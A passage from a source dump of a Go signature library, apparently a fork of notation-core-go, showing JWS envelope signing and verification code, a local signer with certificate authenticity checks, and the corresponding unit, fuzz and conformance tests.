fmt.Sprintf("got hash value 0 from key spec %+v", ks)} 248 | } 249 | timestampOpts := tspclient.RequestOptions{ 250 | Content: primitiveSignature, 251 | HashAlgorithm: hash, 252 | } 253 | timestampToken, err := timestamp.Timestamp(req, timestampOpts) 254 | if err != nil { 255 | return &signature.TimestampError{Detail: err} 256 | } 257 | 258 | // on success, embed the timestamp token to TimestampSignature 259 | env.Header.TimestampSignature = timestampToken 260 | return nil 261 | } 262 | -------------------------------------------------------------------------------- /signature/jws/fuzz_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package jws 15 | 16 | import ( 17 | "testing" 18 | ) 19 | 20 | func FuzzSignatureJws(f *testing.F) { 21 | f.Fuzz(func(t *testing.T, envelopeBytes []byte, shouldVerify bool) { 22 | e, err := ParseEnvelope(envelopeBytes) 23 | if err != nil { 24 | t.Skip() 25 | } 26 | 27 | if shouldVerify { 28 | _, _ = e.Verify() 29 | } else { 30 | _, _ = e.Content() 31 | } 32 | }) 33 | } 34 | -------------------------------------------------------------------------------- /signature/jws/jws_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package jws 15 | 16 | import ( 17 | "encoding/json" 18 | "math" 19 | "testing" 20 | ) 21 | 22 | func Test_convertToMap(t *testing.T) { 23 | type S struct { 24 | A string 25 | B int 26 | C float64 27 | } 28 | t.Run("invalid value", func(t *testing.T) { 29 | _, err := convertToMap(math.Inf(1)) 30 | if err == nil { 31 | t.Fatal("should cause error") 32 | } 33 | }) 34 | 35 | t.Run("normal case", func(t *testing.T) { 36 | testStruct := S{ 37 | A: "test string", 38 | B: 1, 39 | C: 1.1, 40 | } 41 | // generate map 42 | m, err := convertToMap(&testStruct) 43 | checkNoError(t, err) 44 | 45 | // convert map to struct 46 | bytes, err := json.Marshal(m) 47 | checkNoError(t, err) 48 | 49 | var newStruct S 50 | err = json.Unmarshal(bytes, &newStruct) 51 | checkNoError(t, err) 52 | 53 | // check new struct equal with original struct 54 | if newStruct != testStruct { 55 | t.Fatal("convertToMap error") 56 | } 57 | }) 58 | } 59 | 60 | func Test_generateJWSError(t *testing.T) { 61 | _, err := generateJWS("", nil, nil) 62 | checkErrorEqual(t, "unexpected error occurred while generating a JWS-JSON serialization from compact serialization", err.Error()) 63 | } 64 | 65 | func Test_getSignatureAlgorithmError(t *testing.T) { 66 | _, err := getSignatureAlgorithm("ES222") 67 | checkErrorEqual(t, `signature algorithm "ES222" is not supported`, err.Error()) 68 | } 69 | -------------------------------------------------------------------------------- /signature/jws/jwt.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package jws 15 | 16 | import ( 17 | "crypto" 18 | "crypto/x509" 19 | "encoding/base64" 20 | "errors" 21 | "fmt" 22 | 23 | "github.com/golang-jwt/jwt/v4" 24 | "github.com/sugarylentil/notation-core-go/signature" 25 | ) 26 | 27 | // signingMethod is the interface for jwt.SigingMethod with additional method to 28 | // access certificate chain after calling Sign(). 29 | type signingMethod interface { 30 | jwt.SigningMethod 31 | 32 | // CertificateChain returns the certificate chain. 33 | // 34 | // It should be called after calling Sign(). 35 | CertificateChain() ([]*x509.Certificate, error) 36 | 37 | // PrivateKey returns the private key. 38 | PrivateKey() crypto.PrivateKey 39 | } 40 | 41 | // remoteSigningMethod wraps the remote signer to be a SigningMethod. 42 | type remoteSigningMethod struct { 43 | signer signature.Signer 44 | certs []*x509.Certificate 45 | algorithm string 46 | } 47 | 48 | func newRemoteSigningMethod(signer signature.Signer) (signingMethod, error) { 49 | algorithm, err := extractJwtAlgorithm(signer) 50 | if err != nil { 51 | return nil, err 52 | } 53 | return &remoteSigningMethod{ 54 | signer: signer, 55 | algorithm: algorithm, 56 | }, nil 57 | } 58 | 59 | // Verify doesn't need to be implemented. 60 | func (s *remoteSigningMethod) Verify(signingString, signature string, key interface{}) error { 61 | return errors.New("not implemented") 62 | } 63 | 64 | // Sign hashes the signingString and call the remote signer to sign the digest. 65 | func (s *remoteSigningMethod) Sign(signingString string, key interface{}) (string, error) { 66 | // sign by external signer 67 | sig, certs, err := s.signer.Sign([]byte(signingString)) 68 | if err != nil { 69 | return "", err 70 | } 71 | s.certs = certs 72 | return base64.RawURLEncoding.EncodeToString(sig), nil 73 | } 74 | 75 | // Alg implements jwt.SigningMethod interface. 76 | func (s *remoteSigningMethod) Alg() string { 77 | return s.algorithm 78 | } 79 | 80 | // CertificateChain returns the certificate chain. 81 | // 82 | // It should be called after Sign(). 83 | func (s *remoteSigningMethod) CertificateChain() ([]*x509.Certificate, error) { 84 | if s.certs == nil { 85 | return nil, &signature.InvalidSignRequestError{Msg: "certificate chain is not set"} 86 | } 87 | return s.certs, nil 88 | } 89 | 90 | // PrivateKey returns nil for remote signer. 91 | func (s *remoteSigningMethod) PrivateKey() crypto.PrivateKey { 92 | return nil 93 | } 94 | 95 | // localSigningMethod wraps the local signer to be a SigningMethod. 96 | type localSigningMethod struct { 97 | jwt.SigningMethod 98 | signer signature.LocalSigner 99 | } 100 | 101 | func newLocalSigningMethod(signer signature.LocalSigner) (signingMethod, error) { 102 | alg, err := extractJwtAlgorithm(signer) 103 | if err != nil { 104 | return nil, err 105 | } 106 | 107 | return &localSigningMethod{ 108 | SigningMethod: jwt.GetSigningMethod(alg), 109 | signer: signer, 110 | }, nil 111 | } 112 | 113 | // CertificateChain returns the certificate chain. 114 | func (s *localSigningMethod) CertificateChain() ([]*x509.Certificate, error) { 115 | return s.signer.CertificateChain() 116 | } 117 | 118 | // PrivateKey returns the private key. 119 | func (s *localSigningMethod) PrivateKey() crypto.PrivateKey { 120 | return s.signer.PrivateKey() 121 | } 122 | 123 | // getSigningMethod return signingMethod for the given signer. 124 | func getSigningMethod(signer signature.Signer) (signingMethod, error) { 125 | if localSigner, ok := signer.(signature.LocalSigner); ok { 126 | // for local signer 127 | return newLocalSigningMethod(localSigner) 128 | } 129 | // for remote signer 130 | return newRemoteSigningMethod(signer) 131 | } 132 | 133 | // verifyJWT verifies the JWT token against the specified verification key. 134 | func verifyJWT(tokenString string, publicKey interface{}) error { 135 | parser := jwt.NewParser( 136 | jwt.WithValidMethods(validMethods), 137 | jwt.WithJSONNumber(), 138 | jwt.WithoutClaimsValidation(), 139 | ) 140 | 141 | if _, err := parser.Parse(tokenString, func(t *jwt.Token) (interface{}, error) { 142 | return publicKey, nil 143 | }); err != nil { 144 | return &signature.SignatureIntegrityError{Err: err} 145 | } 146 | return nil 147 | } 148 | 149 | func extractJwtAlgorithm(signer signature.Signer) (string, error) { 150 | // extract algorithm from signer 151 | keySpec, err := signer.KeySpec() 152 | if err != nil { 153 | return "", err 154 | } 155 | alg := keySpec.SignatureAlgorithm() 156 | 157 | // converts the signature.Algorithm to be jwt package defined 158 | // algorithm name. 159 | jwsAlg, ok := signatureAlgJWSAlgMap[alg] 160 | if !ok { 161 | return "", &signature.UnsupportedSignatureAlgoError{ 162 | Alg: fmt.Sprintf("#%d", alg)} 163 | } 164 | return jwsAlg, nil 165 | } 166 | -------------------------------------------------------------------------------- /signature/jws/jwt_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package jws 15 | 16 | import ( 17 | "crypto" 18 | "crypto/x509" 19 | "errors" 20 | "testing" 21 | 22 | "github.com/sugarylentil/notation-core-go/signature" 23 | "github.com/sugarylentil/notation-core-go/testhelper" 24 | ) 25 | 26 | type errorLocalSigner struct { 27 | algType signature.KeyType 28 | size int 29 | keySpecError error 30 | } 31 | 32 | // Sign returns error 33 | func (s *errorLocalSigner) Sign(payload []byte) ([]byte, []*x509.Certificate, error) { 34 | return nil, nil, errors.New("sign error") 35 | } 36 | 37 | // KeySpec returns the key specification. 38 | func (s *errorLocalSigner) KeySpec() (signature.KeySpec, error) { 39 | return signature.KeySpec{ 40 | Type: s.algType, 41 | Size: s.size, 42 | }, s.keySpecError 43 | } 44 | 45 | // PrivateKey returns nil. 46 | func (s *errorLocalSigner) PrivateKey() crypto.PrivateKey { 47 | return nil 48 | } 49 | 50 | // CertificateChain returns nil. 51 | func (s *errorLocalSigner) CertificateChain() ([]*x509.Certificate, error) { 52 | return nil, nil 53 | } 54 | 55 | func Test_remoteSigningMethod_Verify(t *testing.T) { 56 | s := &remoteSigningMethod{} // Sign signs the payload and returns the raw signature and certificates. 57 | err := s.Verify("", "", nil) 58 | if err == nil { 59 | t.Fatalf("should panic") 60 | } 61 | } 62 | 63 | func Test_newLocalSigningMethod(t *testing.T) { 64 | signer := errorLocalSigner{} 65 | _, err := newLocalSigningMethod(&signer) 66 | checkErrorEqual(t, `signature algorithm "#0" is not supported`, err.Error()) 67 | } 68 | 69 | func Test_newRemoteSigningMethod(t *testing.T) { 70 | _, err := newRemoteSigningMethod(&errorLocalSigner{}) 71 | checkErrorEqual(t, `signature algorithm "#0" is not supported`, err.Error()) 72 | } 73 | 74 | func Test_remoteSigningMethod_CertificateChain(t *testing.T) { 75 | certs := []*x509.Certificate{ 76 | testhelper.GetRSALeafCertificate().Cert, 77 | } 78 | 79 | signer, err := getSigner(false, certs, testhelper.GetRSALeafCertificate().PrivateKey) 80 | checkNoError(t, err) 81 | 82 | signingScheme, err := newRemoteSigningMethod(signer) 83 | checkNoError(t, err) 84 | 85 | _, err = signingScheme.CertificateChain() 86 | checkErrorEqual(t, "certificate chain is not set", err.Error()) 87 | } 88 | 89 | func Test_remoteSigningMethod_Sign(t *testing.T) { 90 | signer := errorLocalSigner{ 91 | algType: signature.KeyTypeRSA, 92 | size: 2048, 93 | keySpecError: nil, 94 | } 95 | signingScheme, err := newRemoteSigningMethod(&signer) 96 | checkNoError(t, err) 97 | 98 | _, err = signingScheme.Sign("", nil) 99 | checkErrorEqual(t, "sign error", err.Error()) 100 | } 101 | func Test_extractJwtAlgorithm(t *testing.T) { 102 | _, err := extractJwtAlgorithm(&errorLocalSigner{}) 103 | checkErrorEqual(t, `signature algorithm "#0" is not supported`, err.Error()) 104 | 105 | _, err = extractJwtAlgorithm(&errorLocalSigner{ 106 | keySpecError: errors.New("get key spec error"), 107 | }) 108 | checkErrorEqual(t, `get key spec error`, err.Error()) 109 | } 110 | 111 | func Test_verifyJWT(t *testing.T) { 112 | type args struct { 113 | tokenString string 114 | publicKey interface{} 115 | } 116 | tests := []struct { 117 | name string 118 | args args 119 | wantErr bool 120 | }{ 121 | { 122 | name: "invalid signature", 123 | args: args{ 124 | tokenString: "eyJhbGciOiJQUzM4NCIsImNyaXQiOlsiaW8uY25jZi5ub3Rhcnkuc2lnbmluZ1NjaGVtZSIsInRlc3RLZXkiLCJpby5jbmNmLm5vdGFyeS5leHBpcnkiXSwiY3R5IjoiYXBwbGljYXRpb24vdm5kLmNuY2Yubm90YXJ5LnBheWxvYWQudjEranNvbiIsImlvLmNuY2Yubm90YXJ5LmV4cGlyeSI6IjIwMjItMDgtMjRUMTc6MTg6MTUuNDkxNzQ1ODQ1KzA4OjAwIiwiaW8uY25jZi5ub3Rhcnkuc2lnbmluZ1NjaGVtZSI6Im5vdGFyeS54NTA5IiwiaW8uY25jZi5ub3Rhcnkuc2lnbmluZ1RpbWUiOiIyMDIyLTA4LTI0VDE2OjE4OjE1LjQ5MTc0NTgwNCswODowMCIsInRlc3RLZXkiOiJ0ZXN0VmFsdWUiLCJ0ZXN0S2V5MiI6InRlc3RWYWx1ZTIifQ.ImV3b2dJQ0p6ZFdKcVpXTjBJam9nZXdvZ0lDQWdJbTFsWkdsaFZIbHdaU0k2SUNKaGNIQnNhV05oZEdsdmJpOTJibVF1YjJOcExtbHRZV2RsTG0xaGJtbG1aWE4wTG5ZeEsycHpiMjRpTEFvZ0lDQWdJbVJwWjJWemRDSTZJQ0p6YUdFeU5UWTZOek5qT0RBek9UTXdaV0V6WW1FeFpUVTBZbU15TldNeVltUmpOVE5sWkdRd01qZzBZell5WldRMk5URm1aVGRpTURBek5qbGtZVFV4T1dFell6TXpNeUlzQ2lBZ0lDQWljMmw2WlNJNklERTJOekkwTEFvZ0lDQWdJbUZ1Ym05MFlYUnBiMjV6SWpvZ2V3b2dJQ0FnSUNBZ0lDSnBieTUzWVdKaWFYUXRibVYwZDI5eWEzTXVZblZwYkdSSlpDSTZJQ0l4TWpNaUNpQWdJQ0I5Q2lBZ2ZRcDlDZ2s9Ig.YmF1_5dMW4YWK2fzct1dp25lTy8p0qdSmR-O2fZsf29ohiLYGUVXfvRjEgERzZvDd49aOYQvrEgGvoU9FfK2KIqHrJ8kliI00wd4kuK57aE83pszBMOOrZqAjqkdyoj7dswmwJSyjMC9fhwh_AwrrOnrBjw4U0vGTrImMQEwHfVq0MWLCuw9YpFkytLPeCl8n825EtqMzwYYTUzdQfQJO_ZZrS34n8tK0IRZrX2LjrYz9HqR_UFgVqf_G9qwJpekYyd9Aacl9y4x7zzI-R-bADFgztyAYeWRmE75qI26OgG-ss4wfG-ZbchEm6FYU8py64bsLmJtK9muPd9ZU7SXQOEVzxtXoQFnUhT9AgaNNoxnSnU25mMjAeuGDj0Xn_Gv7f24PyDk9ZEE3WjrguJyzaP6P4jYugXr6Afq10HXRpI_cE8B-6USGpiRH9iJLE04xumWpjWup9p5fv3Fnt3Au1dhbgaDvrSGMHmmCSW4dk7_87Q4LGkGcbn0zNINydcg", 125 | publicKey: testhelper.GetRSALeafCertificate().Cert.PublicKey, 126 | }, 127 | wantErr: true, 128 | }, 129 | } 130 | for _, tt := range tests { 131 | t.Run(tt.name, func(t *testing.T) { 132 | if err := verifyJWT(tt.args.tokenString, tt.args.publicKey); (err != nil) != tt.wantErr { 133 | t.Errorf("verifyJWT() error = %v, wantErr %v", err, tt.wantErr) 134 | } 135 | }) 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /signature/jws/testdata/conformance.json: -------------------------------------------------------------------------------- 1 | { 2 | "payload": "eyJrZXkiOiJoZWxsbyBKV1MifQ", 3 | "protected": "eyJhbGciOiJFUzI1NiIsImNyaXQiOlsiaW8uY25jZi5ub3Rhcnkuc2lnbmluZ1NjaGVtZSIsInNpZ25lZENyaXRLZXkxIiwiaW8uY25jZi5ub3RhcnkuZXhwaXJ5Il0sImN0eSI6ImFwcGxpY2F0aW9uL3ZuZC5jbmNmLm5vdGFyeS5wYXlsb2FkLnYxK2pzb24iLCJpby5jbmNmLm5vdGFyeS5leHBpcnkiOiIyMDk5LTA4LTMwVDEzOjUwOjAwWiIsImlvLmNuY2Yubm90YXJ5LnNpZ25pbmdTY2hlbWUiOiJub3RhcnkueDUwOSIsImlvLmNuY2Yubm90YXJ5LnNpZ25pbmdUaW1lIjoiMjAyMi0wOC0yOVQxMzo1MDowMFoiLCJzaWduZWRDcml0S2V5MSI6InNpZ25lZENyaXRWYWx1ZTEiLCJzaWduZWRLZXkxIjoic2lnbmVkVmFsdWUxIiwic2lnbmVkS2V5MiI6InNpZ25lZFZhbHVlMSIsInNpZ25lZEtleTMiOiJzaWduZWRWYWx1ZTEiLCJzaWduZWRLZXk0Ijoic2lnbmVkVmFsdWUxIn0", 4 | "header": { 5 | "io.cncf.notary.signingAgent": "NotationConformanceTest/1.0.0" 6 | }, 7 | "signature": "zWcjEO1QYe1aNIcfIv_nHjCwb-5gjjHTkL8aUjBq3kU_nP6YtDfKX6Sjl90DLG7NR0-uB1Tn6oj_6Ws1LhCuIQ" 8 | } -------------------------------------------------------------------------------- /signature/jws/types.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package jws 15 | 16 | import ( 17 | "time" 18 | 19 | "github.com/golang-jwt/jwt/v4" 20 | "github.com/sugarylentil/notation-core-go/signature" 21 | ) 22 | 23 | const ( 24 | headerKeyAlg = "alg" 25 | headerKeyCty = "cty" 26 | headerKeyCrit = "crit" 27 | headerKeyExpiry = "io.cncf.notary.expiry" 28 | headerKeySigningTime = "io.cncf.notary.signingTime" 29 | headerKeySigningScheme = "io.cncf.notary.signingScheme" 30 | headerKeyAuthenticSigningTime = "io.cncf.notary.authenticSigningTime" 31 | ) 32 | 33 | // headerKeys includes all system aware keys for JWS protected header 34 | // [JWS envelope]: https://github.com/notaryproject/notaryproject/blob/main/specs/signature-envelope-jws.md#protected-headers 35 | var headerKeys = []string{ 36 | headerKeyAlg, 37 | headerKeyCty, 38 | headerKeyCrit, 39 | headerKeyExpiry, 40 | headerKeySigningTime, 41 | headerKeySigningScheme, 42 | headerKeyAuthenticSigningTime, 43 | } 44 | 45 | // jwsProtectedHeader contains the set of protected headers. 46 | type jwsProtectedHeader struct { 47 | // Defines which algorithm was used to generate the signature. 48 | Algorithm string `json:"alg"` 49 | 50 | // Media type of the secured content (the payload). 51 | ContentType string `json:"cty"` 52 | 53 | // Lists the headers that implementation MUST understand and process. 54 | Critical []string `json:"crit,omitempty"` 55 | 56 | // The "best by use" time for the artifact, as defined by the signer. 57 | Expiry *time.Time `json:"io.cncf.notary.expiry,omitempty"` 58 | 59 | // Specifies the Notary Project Signing Scheme used by the signature. 60 | SigningScheme signature.SigningScheme `json:"io.cncf.notary.signingScheme"` 61 | 62 | // The time at which the signature was generated. only valid when signing 63 | // scheme is `notary.x509`. 64 | SigningTime *time.Time `json:"io.cncf.notary.signingTime,omitempty"` 65 | 66 | // The time at which the signature was generated. only valid when signing 67 | // scheme is `notary.x509.signingAuthority`. 68 | AuthenticSigningTime *time.Time `json:"io.cncf.notary.authenticSigningTime,omitempty"` 69 | 70 | // The user defined attributes. 71 | ExtendedAttributes map[string]interface{} `json:"-"` 72 | } 73 | 74 | // jwsUnprotectedHeader contains the set of unprotected headers. 75 | type jwsUnprotectedHeader struct { 76 | // RFC3161 timestamp token Base64-encoded. 77 | TimestampSignature []byte `json:"io.cncf.notary.timestampSignature,omitempty"` 78 | 79 | // List of X.509 Base64-DER-encoded certificates 80 | // as defined at https://datatracker.ietf.org/doc/html/rfc7515#section-4.1.6. 81 | CertChain [][]byte `json:"x5c"` 82 | 83 | // SigningAgent used for signing. 84 | SigningAgent string `json:"io.cncf.notary.signingAgent,omitempty"` 85 | } 86 | 87 | // jwsEnvelope is the final Signature envelope. 88 | type jwsEnvelope struct { 89 | // JWSPayload Base64URL-encoded. Raw data should be JSON format. 90 | Payload string `json:"payload"` 91 | 92 | // jwsProtectedHeader Base64URL-encoded. 93 | Protected string `json:"protected"` 94 | 95 | // Signature metadata that is not integrity Protected 96 | Header jwsUnprotectedHeader `json:"header"` 97 | 98 | // Base64URL-encoded Signature. 99 | Signature string `json:"signature"` 100 | } 101 | 102 | var ( 103 | ps256 = jwt.SigningMethodPS256.Name 104 | ps384 = jwt.SigningMethodPS384.Name 105 | ps512 = jwt.SigningMethodPS512.Name 106 | es256 = jwt.SigningMethodES256.Name 107 | es384 = jwt.SigningMethodES384.Name 108 | es512 = jwt.SigningMethodES512.Name 109 | ) 110 | 111 | var validMethods = []string{ps256, ps384, ps512, es256, es384, es512} 112 | 113 | var signatureAlgJWSAlgMap = map[signature.Algorithm]string{ 114 | signature.AlgorithmPS256: ps256, 115 | signature.AlgorithmPS384: ps384, 116 | signature.AlgorithmPS512: ps512, 117 | signature.AlgorithmES256: es256, 118 | signature.AlgorithmES384: es384, 119 | signature.AlgorithmES512: es512, 120 | } 121 | 122 | var jwsAlgSignatureAlgMap = reverseMap(signatureAlgJWSAlgMap) 123 | 124 | func reverseMap(m map[signature.Algorithm]string) map[string]signature.Algorithm { 125 | n := make(map[string]signature.Algorithm, len(m)) 126 | for k, v := range m { 127 | n[v] = k 128 | } 129 | return n 130 | } 131 | -------------------------------------------------------------------------------- /signature/signer.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import ( 17 | "crypto" 18 | "crypto/ecdsa" 19 | "crypto/rsa" 20 | "crypto/x509" 21 | "errors" 22 | "fmt" 23 | ) 24 | 25 | // Signer is used to sign bytes generated after signature envelope created. 26 | type Signer interface { 27 | // Sign signs the payload and returns the raw signature and certificates. 28 | Sign(payload []byte) ([]byte, []*x509.Certificate, error) 29 | 30 | // KeySpec returns the key specification. 31 | KeySpec() (KeySpec, error) 32 | } 33 | 34 | // LocalSigner is only used by built-in signers to sign. 35 | type LocalSigner interface { 36 | Signer 37 | 38 | // CertificateChain returns the certificate chain. 39 | CertificateChain() ([]*x509.Certificate, error) 40 | 41 | // PrivateKey returns the private key. 42 | PrivateKey() crypto.PrivateKey 43 | } 44 | 45 | // localSigner implements LocalSigner interface. 46 | // 47 | // Note that localSigner only holds the signing key, keySpec and certificate 48 | // chain. The underlying signing implementation is provided by the underlying 49 | // crypto library for the specific signature format like go-jwt or go-cose. 50 | type localSigner struct { 51 | keySpec KeySpec 52 | key crypto.PrivateKey 53 | certs []*x509.Certificate 54 | } 55 | 56 | // NewLocalSigner returns a new signer with given certificates and private key. 57 | func NewLocalSigner(certs []*x509.Certificate, key crypto.PrivateKey) (LocalSigner, error) { 58 | if len(certs) == 0 { 59 | return nil, &InvalidArgumentError{ 60 | Param: "certs", 61 | Err: errors.New("empty certs"), 62 | } 63 | } 64 | 65 | keySpec, err := ExtractKeySpec(certs[0]) 66 | if err != nil { 67 | return nil, err 68 | } 69 | 70 | if !isKeyPair(key, certs[0].PublicKey, keySpec) { 71 | return nil, &InvalidArgumentError{ 72 | Param: "key and certs", 73 | Err: errors.New("key not matches certificate"), 74 | } 75 | } 76 | 77 | return &localSigner{ 78 | keySpec: keySpec, 79 | key: key, 80 | certs: certs, 81 | }, nil 82 | } 83 | 84 | // isKeyPair checks if the private key matches the provided public key. 85 | func isKeyPair(priv crypto.PrivateKey, pub crypto.PublicKey, keySpec KeySpec) bool { 86 | switch keySpec.Type { 87 | case KeyTypeRSA: 88 | privateKey, ok := priv.(*rsa.PrivateKey) 89 | if !ok { 90 | return false 91 | } 92 | return privateKey.PublicKey.Equal(pub) 93 | case KeyTypeEC: 94 | privateKey, ok := priv.(*ecdsa.PrivateKey) 95 | if !ok { 96 | return false 97 | } 98 | return privateKey.PublicKey.Equal(pub) 99 | default: 100 | return false 101 | } 102 | } 103 | 104 | // Sign signs the content and returns the raw signature and certificates. 105 | // This implementation should never be used by built-in signers. 106 | func (s *localSigner) Sign(content []byte) ([]byte, []*x509.Certificate, error) { 107 | return nil, nil, fmt.Errorf("local signer doesn't support sign") 108 | } 109 | 110 | // KeySpec returns the key specification. 111 | func (s *localSigner) KeySpec() (KeySpec, error) { 112 | return s.keySpec, nil 113 | } 114 | 115 | // CertificateChain returns the certificate chain. 116 | func (s *localSigner) CertificateChain() ([]*x509.Certificate, error) { 117 | return s.certs, nil 118 | } 119 | 120 | // PrivateKey returns the private key. 121 | func (s *localSigner) PrivateKey() crypto.PrivateKey { 122 | return s.key 123 | } 124 | 125 | // VerifyAuthenticity iterates the certificate chain in signerInfo, for each 126 | // certificate in the chain, it checks if the certificate matches with one of 127 | // the trusted certificates in trustedCerts. It returns the first matching 128 | // certificate. If no match is found, it returns an error. 129 | // 130 | // Reference: https://github.com/notaryproject/notaryproject/blob/main/specs/trust-store-trust-policy.md#steps 131 | func VerifyAuthenticity(signerInfo *SignerInfo, trustedCerts []*x509.Certificate) (*x509.Certificate, error) { 132 | if len(trustedCerts) == 0 { 133 | return nil, &InvalidArgumentError{Param: "trustedCerts"} 134 | } 135 | if signerInfo == nil { 136 | return nil, &InvalidArgumentError{Param: "signerInfo"} 137 | } 138 | for _, cert := range signerInfo.CertificateChain { 139 | for _, trust := range trustedCerts { 140 | if trust.Equal(cert) { 141 | return trust, nil 142 | } 143 | } 144 | } 145 | return nil, &SignatureAuthenticityError{} 146 | } 147 | -------------------------------------------------------------------------------- /signature/signer_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import ( 17 | "crypto" 18 | "crypto/ed25519" 19 | "crypto/x509" 20 | "reflect" 21 | "testing" 22 | 23 | "github.com/sugarylentil/notation-core-go/testhelper" 24 | ) 25 | 26 | func TestNewLocalSigner(t *testing.T) { 27 | tests := []struct { 28 | name string 29 | certs []*x509.Certificate 30 | key crypto.PrivateKey 31 | expect LocalSigner 32 | expectErr bool 33 | }{ 34 | { 35 | name: "empty certs", 36 | certs: []*x509.Certificate{}, 37 | key: nil, 38 | expect: nil, 39 | expectErr: true, 40 | }, 41 | { 42 | name: "unsupported leaf cert", 43 | certs: []*x509.Certificate{ 44 | {PublicKey: ed25519.PublicKey{}}, 45 | }, 46 | key: nil, 47 | expect: nil, 48 | expectErr: true, 49 | }, 50 | { 51 | name: "keys not match", 52 | certs: []*x509.Certificate{ 53 | testhelper.GetECLeafCertificate().Cert, 54 | }, 55 | key: testhelper.GetRSARootCertificate().PrivateKey, 56 | expect: nil, 57 | expectErr: true, 58 | }, 59 | { 60 | name: "keys not match", 61 | certs: []*x509.Certificate{ 62 | testhelper.GetRSARootCertificate().Cert, 63 | }, 64 | key: testhelper.GetECLeafCertificate().PrivateKey, 65 | expect: nil, 66 | expectErr: true, 67 | }, 68 | { 69 | name: "RSA keys match", 70 | certs: []*x509.Certificate{ 71 | testhelper.GetRSALeafCertificate().Cert, 72 | }, 73 | key: testhelper.GetRSALeafCertificate().PrivateKey, 74 | expect: &localSigner{ 75 | keySpec: KeySpec{ 76 | Type: KeyTypeRSA, 77 | Size: 3072, 78 | }, 79 | key: testhelper.GetRSALeafCertificate().PrivateKey, 80 | certs: []*x509.Certificate{ 81 | testhelper.GetRSALeafCertificate().Cert, 82 | }, 83 | }, 84 | expectErr: false, 85 | }, 86 | { 87 | name: "EC keys match", 88 | certs: []*x509.Certificate{ 89 | testhelper.GetECLeafCertificate().Cert, 90 | }, 91 | key: testhelper.GetECLeafCertificate().PrivateKey, 92 | expect: &localSigner{ 93 | keySpec: KeySpec{ 94 | Type: KeyTypeEC, 95 | Size: 384, 96 | }, 97 | key: testhelper.GetECLeafCertificate().PrivateKey, 98 | certs: []*x509.Certificate{ 99 | testhelper.GetECLeafCertificate().Cert, 100 | }, 101 | }, 102 | expectErr: false, 103 | }, 104 | } 105 | 106 | for _, tt := range tests { 107 | t.Run(tt.name, func(t *testing.T) { 108 | signer, err := NewLocalSigner(tt.certs, tt.key) 109 | 110 | if (err != nil) != tt.expectErr { 111 | t.Errorf("error = %v, expectErr = %v", err, tt.expectErr) 112 | } 113 | if !reflect.DeepEqual(signer, tt.expect) { 114 | t.Errorf("expect %+v, got %+v", tt.expect, signer) 115 | } 116 | }) 117 | } 118 | } 119 | 120 | func TestSign(t *testing.T) { 121 | signer := &localSigner{} 122 | 123 | raw, certs, err := signer.Sign([]byte{}) 124 | if err == nil { 125 | 